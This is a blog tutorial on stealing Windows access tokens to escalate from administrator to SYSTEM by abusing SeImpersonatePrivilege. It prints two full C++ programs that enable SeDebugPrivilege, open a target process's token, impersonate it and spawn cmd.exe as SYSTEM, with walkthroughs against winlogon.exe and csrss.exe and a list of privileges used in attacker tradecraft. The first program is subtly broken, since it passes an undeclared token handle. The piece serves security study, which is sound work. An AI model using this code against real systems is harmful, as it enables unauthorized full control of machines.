Understanding and Abusing Process Tokens — Part II

Seemant Bisht
8 min readMay 31, 2020

Now, considering the knowledge gained earlier in Part I, let’s understand SeImpersonatePrivilege which the administrator account has by default, and how we can identify the processes where we can abuse it to gain NT Authority/SYSTEM privilege.

SeImpersonatePrivilege

We have the Token handle from the OpenProcessToken() function. We can try to abuse the Administrator account SeImpersonatePrivilege to gain NT Authority/System by impersonating the logged-on user.

SeImpersonatePrivilege: “Impersonate a client after authentication” user right.

In case, SeImpersonatePrivilege user right is assigned to a user, it means it is permitted to run the programs that are run on the behalf of the current user to impersonate a client.

Syntax:

BOOL ImpersonateLoggedOnUser(HANDLE hToken); // Takes one input, which is the token handle.

A handle to a primary or impersonation access token that represents a logged-on user. This can be a token handle returned by a call to LogonUser, CreateRestrictedToken, DuplicateToken, DuplicateTokenEx, OpenProcessToken, or OpenThreadToken functions. If hToken is a handle to a primary token, the token must have TOKEN_QUERY and TOKEN_DUPLICATE access. If hToken is a handle to an impersonation token, the token must have TOKEN_QUERY and TOKEN_IMPERSONATE access.

Note: The token handle must be opened with the TOKEN_QUERY and TOKEN_DUPLICATE access rights to be useable with ImpersonateLoggedOnUser(). Alternatively, the token handle can be opened with only the TOKEN_DUPLICATE access right to be useable with DuplicateTokenEx().

Code: [ImpersonateLoggedOnUser()]

#include <windows.h>#include <iostream>#include <Lmcons.h>BOOL SetPrivilege(HANDLE hToken,          // access token handleLPCTSTR lpszPrivilege,  // name of privilege to enable/disableBOOL bEnablePrivilege   // to enable or disable privilege){TOKEN_PRIVILEGES tp;LUID luid;if (!LookupPrivilegeValue(NULL,            // lookup privilege on local systemlpszPrivilege,   // privilege to lookup&luid))        // receives LUID of privilege{printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());return FALSE;}tp.PrivilegeCount = 1;tp.Privileges[0].Luid = luid;if (bEnablePrivilege)tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;elsetp.Privileges[0].Attributes = 0;// Enable the privilege or disable all privileges.if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());return FALSE;}if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){printf("[-] The token does not have the specified privilege. \n");return FALSE;}return TRUE;}std::string get_username(){// Snippet to get the current usernameTCHAR username[UNLEN + 1];DWORD username_len = UNLEN + 1;GetUserName(username, &username_len);std::wstring username_w(username);std::string username_s(username_w.begin(), username_w.end());return username_s;}int main(int argc, char** argv){// Printing Curent Usernameprintf("[+] Current user is: %s\n", (get_username()).c_str());// Grab PID from command line argumentchar *pid_c = argv[1];DWORD PID = atoi(pid_c);// A pointer to a handle that identifies the newly opened access token when the function returns.HANDLE currentTokenHandle = NULL;BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)){printf("[+] SeDebugPrivilege enabled!\n");}// Call OpenProcess(), print return code and error code//dwDesiredAccess à PROCESS_QUERY_INFORMATION: Required to retrieve certain information about a process, such as its token, exit code, and priority class//bInheritHandle à True: Processes created by this process will inherit the handle//dwProcessId à Process ID to be provided as user inputHANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID);if (GetLastError() == NULL)printf("[+] OpenProcess() success!\n");else{printf("[-] OpenProcess() Return Code: %i\n", processHandle);printf("[-] OpenProcess() Error: %i\n", GetLastError());}BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &currentTokenHandle);if (GetLastError() == NULL)printf("[+] OpenProcessToken() success!\n");else{printf("[-] OpenProcessToken() Return Code: %i\n", getToken);printf("[-] OpenProcessToken() Error: %i\n", GetLastError());}BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);if (GetLastError() == NULL){printf("[+] ImpersonatedLoggedOnUser() success!\n");printf("[+] Current user is: %s\n", (get_username()).c_str());printf("[+] Reverting thread to original user context\n");RevertToSelf();}else{printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());}return 0;}

Let’s understand, what all permissions are required to impersonate a target access token, below mentioned are the few examples.

Process: Winlogon.exe | Process PID: 1056

Open Winlogon.exe process properties using process hacker and verify the Token privileges are sufficient or not:

We have required privileges; therefore, we can impersonate to NT Authority/SYSTEM.

Let’s take a Protected process for the example,

Process: CSRSS.exe

Process PID: 716

Open CSRSS.exe process properties using process hacker and verify the Token privileges are sufficient or not:

Similarly, we can follow the same steps for all the other processes which are running under NT Authority/SYSTEM. We can spawn another process or thread after Impersonating Logged on User.

For creating a new process with the NT Authority/SYSTEM privilege, we can use CreateProcessWithTokenW() function.

Code:

#include <windows.h>#include <iostream>#include <Lmcons.h>BOOL SetPrivilege(HANDLE hToken,          // access token handleLPCTSTR lpszPrivilege,  // name of privilege to enable/disableBOOL bEnablePrivilege   // to enable or disable privilege){TOKEN_PRIVILEGES tp;LUID luid;if (!LookupPrivilegeValue(NULL,            // lookup privilege on local systemlpszPrivilege,   // privilege to lookup&luid))        // receives LUID of privilege{printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());return FALSE;}tp.PrivilegeCount = 1;tp.Privileges[0].Luid = luid;if (bEnablePrivilege)tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;elsetp.Privileges[0].Attributes = 0;// Enable the privilege or disable all privileges.if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());return FALSE;}if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){printf("[-] The token does not have the specified privilege. \n");return FALSE;}return TRUE;}std::string get_username(){TCHAR username[UNLEN + 1];DWORD username_len = UNLEN + 1;GetUserName(username, &username_len);std::wstring username_w(username);std::string username_s(username_w.begin(), username_w.end());return username_s;}int main(int argc, char** argv) {// Print whoami to compare to thread laterprintf("[+] Current user is: %s\n", (get_username()).c_str());// Grab PID from command line argumentchar *pid_c = argv[1];DWORD PID_TO_IMPERSONATE = atoi(pid_c);// Initialize variables and structuresHANDLE tokenHandle = NULL;HANDLE duplicateTokenHandle = NULL;STARTUPINFO startupInfo;PROCESS_INFORMATION processInformation;ZeroMemory(&startupInfo, sizeof(STARTUPINFO));ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));startupInfo.cb = sizeof(STARTUPINFO);// Add SE debug privilegeHANDLE currentTokenHandle = NULL;BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)){printf("[+] SeDebugPrivilege enabled!\n");}// Call OpenProcess(), print return code and error codeHANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);if (GetLastError() == NULL)printf("[+] OpenProcess() success!\n");else{printf("[-] OpenProcess() Return Code: %i\n", processHandle);printf("[-] OpenProcess() Error: %i\n", GetLastError());}// Call OpenProcessToken(), print return code and error codeBOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);if (GetLastError() == NULL)printf("[+] OpenProcessToken() success!\n");else{printf("[-] OpenProcessToken() Return Code: %i\n", getToken);printf("[-] OpenProcessToken() Error: %i\n", GetLastError());}// Impersonate user in a threadBOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);if (GetLastError() == NULL){printf("[+] ImpersonatedLoggedOnUser() success!\n");printf("[+] Current user is: %s\n", (get_username()).c_str());printf("[+] Reverting thread to original user context\n");RevertToSelf();}else{printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());}// Call DuplicateTokenEx(), print return code and error codeBOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);if (GetLastError() == NULL)printf("[+] DuplicateTokenEx() success!\n");else{printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());}// Call CreateProcessWithTokenW(), print return code and error codeBOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);if (GetLastError() == NULL)printf("[+] Process spawned!\n");else{printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());}return 0;}

It creates a new process and its primary thread. The new process runs in the security context of the specified token. It can optionally load the user profile for the specified user.

The process that calls CreateProcessWithTokenW must have the SE_IMPERSONATE_NAME privilege.

Syntax:

BOOL CreateProcessWithTokenW(HANDLE hToken, // A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights.DWORD dwLogonFlags, // The logon option. This parameter can be zero or LOGON_WITH_PROFILE or LOGON_NETCREDENTIALS_ONLYLPCWSTR lpApplicationName, // The name of the module to be executed. This module can be a Windows-based application.LPWSTR lpCommandLine, // The command line to be executed. Can be NULL.DWORD dwCreationFlags, // The flags that control how the process is created. The CREATE_DEFAULT_ERROR_MODE, CREATE_NEW_CONSOLE, and CREATE_NEW_PROCESS_GROUP flags are enabled by default.LPVOID lpEnvironment, // A pointer to an environment block for the new process.LPCWSTR lpCurrentDirectory, // The full path to the current directory for the process.LPSTARTUPINFOW lpStartupInfo, // A pointer to a STARTUPINFO or STARTUPINFOEX structure.LPPROCESS_INFORMATION lpProcessInformation // A pointer to a PROCESS_INFORMATION structure that receives identification information for the new process, including a handle to the process.);

Let’s try to spawn a process using Winlogon.exe process ID:

Let’s take another example:

Don’t have enough privilege to impersonate and spawn a process, below screenshot explains that we just had query privilege on this process token:

The following are the most commonly abused privilege constants in malicious software and attacker tradecraft:

SeBackupPrivilege

Description: This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file.

Attacker Tradecraft: Collection.

SeCreateTokenPrivilege

Description: Required to create a primary token.

Attacker Tradecraft: Privilege Escalation

SeDebugPrivilege

Description: Required to debug and adjust the memory of a process owned by another account.

Attacker Tradecraft: Privilege Escalation; Defense Evasion; Credential Access

SeLoadDriverPrivilege

Description: Required to load or unload a device driver.

Attacker Tradecraft: Persistence; Defense Evasion

SeRestorePrivilege

Description: Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file.

Attacker Tradecraft: Persistence; Defense Evasion

SeTakeOwnershipPrivilege

Description: Required to take ownership of an object without being granted discretionary access.

Attacker Tradecraft: Persistence; Defense Evasion; Collection

SeTcbPrivilege

Description: This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege.

Attacker Tradecraft: Privilege Escalation

References:

https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-2.html?m=1

https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b

Windows Internal 1, 2, 3 [Videos by Pavel Yosifovich]

Windows 10 Internals — Systems and Processes [Videos by Pavel Yosifovich]

Windows 10 Internals — Threads, Memory, and Security [Videos by Pavel Yosifovich]

[OpenProcess()]

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

[OpenProcessToken()]

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken

https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects

[ImpersonateLoggedOnUser]

https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateloggedonuser

https://docs.microsoft.com/en-us/windows/win32/secauthz/enabling-and-disabling-privileges-in-c--

https://gist.github.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56

Abusing Token

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt

Note: In case I have missed any reference, please let me know and I’ll add that to the list. Apologies in advance.😊

--

--